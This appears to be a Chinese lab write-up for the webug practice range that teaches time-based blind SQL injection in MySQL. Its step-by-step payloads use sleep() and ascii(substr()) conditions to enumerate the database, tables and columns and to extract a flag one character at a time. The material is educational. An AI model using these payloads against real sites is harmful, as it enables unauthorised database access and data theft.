Mysqlzhuru—延时盲注
webug靶场—延时注入
1、延时注入定义
基于时间盲注的原理分析,注入SQL语句执行后不提示真假,也不能通过页面内容来进行判断,通过构造SQL语句注入,查看页面响应的时间来判断信息为时间盲注。
延时注入的原理就是,所要爆的信息的ascii码正确时,产生延时,否则不延时
2、延时注入的函数
sleep() //延迟函数
sleep(5) //延时五秒注入
if(true,false) //条件语句
if (condition,a,b) //如果condition成立,返回a,否则返回b
ascii() //转换成ascii码
substring //取出字符串里的值
mid(a,b,c) //从位置b开始,截取a字符串的c位
substr(a,b,c) //从b位置开始,截取字符串a的c长度
if (condition,a,b)
如果condition成立,返回a,否则返回b
and sleep(5)
延时五秒注入
两者结合
通过延迟时间判断条件是否成立
延时判断受网站打开速度或网络质量影响
3、判断注入
出现延迟,说明存在注入
1' and sleep(5)%23
4、判断数据库字符长度
1' and if(length(database())=5,sleep(3),1)%23
5、爆破数据库名
1' and if(ascii(substr(database(),1,1))=119,sleep(3),1)%23
1' and if(ascii(substr(database(),2,1))=101,sleep(3),1)%23
······
数据库:webug
6、判断当前数据库表数量
1' and if((select count(*) from information_schema.tables where table_schema=database())=7,sleep(3),1))
7、判断表长度
#判断第一张表,表名的长度
1' and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9,sleep(3),1)%23
#判断第二张表,表名的长度
1' and if((select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8,sleep(3),1)%23
#判断第三张表,表名的长度
······
8、爆破表名
#爆破第一张表表名
#爆破第一个字符的ascii码
1'and if(ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1,1))=100,sleep(3),1)%23
#爆破第二个字符的ascii码
1'and if(ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),2,1))=97,sleep(3),1)%23
#爆破第二张表表名
#第一个字符的ascii码值
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101,sleep(3),1)%23
#第二个字符的ascii码值
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=110,sleep(3),1)%23
#第三个字符的ascii码值
······
9、猜解列
#猜解表有多少个字段
1' and if((select count(column_name) from information_schema.columns where table_name='env_list')=8,sleep(3),1)%23
#猜解表的第一个列名字符长度
1' and if((select length(column_name) from information_schema.columns where table_name='env_list' limit 0,1)=2,sleep(3),1)%23
#猜解表的第二个列名字符长度
······
#爆破第五个列名,第一个字符的ascii
1' and if(ascii(substr((select column_n**ame from information_schema.columns where table_name='env_list' limit 5,1),1,1))=101,sleep(3),1)%23
#爆破第五个列名,第二个字符的ascii
…
10、读取数据
#猜解envFlag字段有多少条记录
1' and if((select count(envFlag) from env_list)=20,sleep(3),1)%23
#猜解envFlag字段第三条字段有多少个字符(flag在第三条记录)
1' and if((select length(envFlag) from env_list limit 2,1)=9,sleep(3),1)%23
#猜解flag
1' and if(ascii(substr((select envFlag from env_list limit 2,1),1,1))=103,sleep(3),1)%23
1' and if(ascii(substr((select envFlag from env_list limit 2,1),2,1))=102,sleep(3),1)%23
······
#最后flag的ASCII码值为:
103 102 100 103 100 102 115 100 103
#解码:
gfdgdfsdg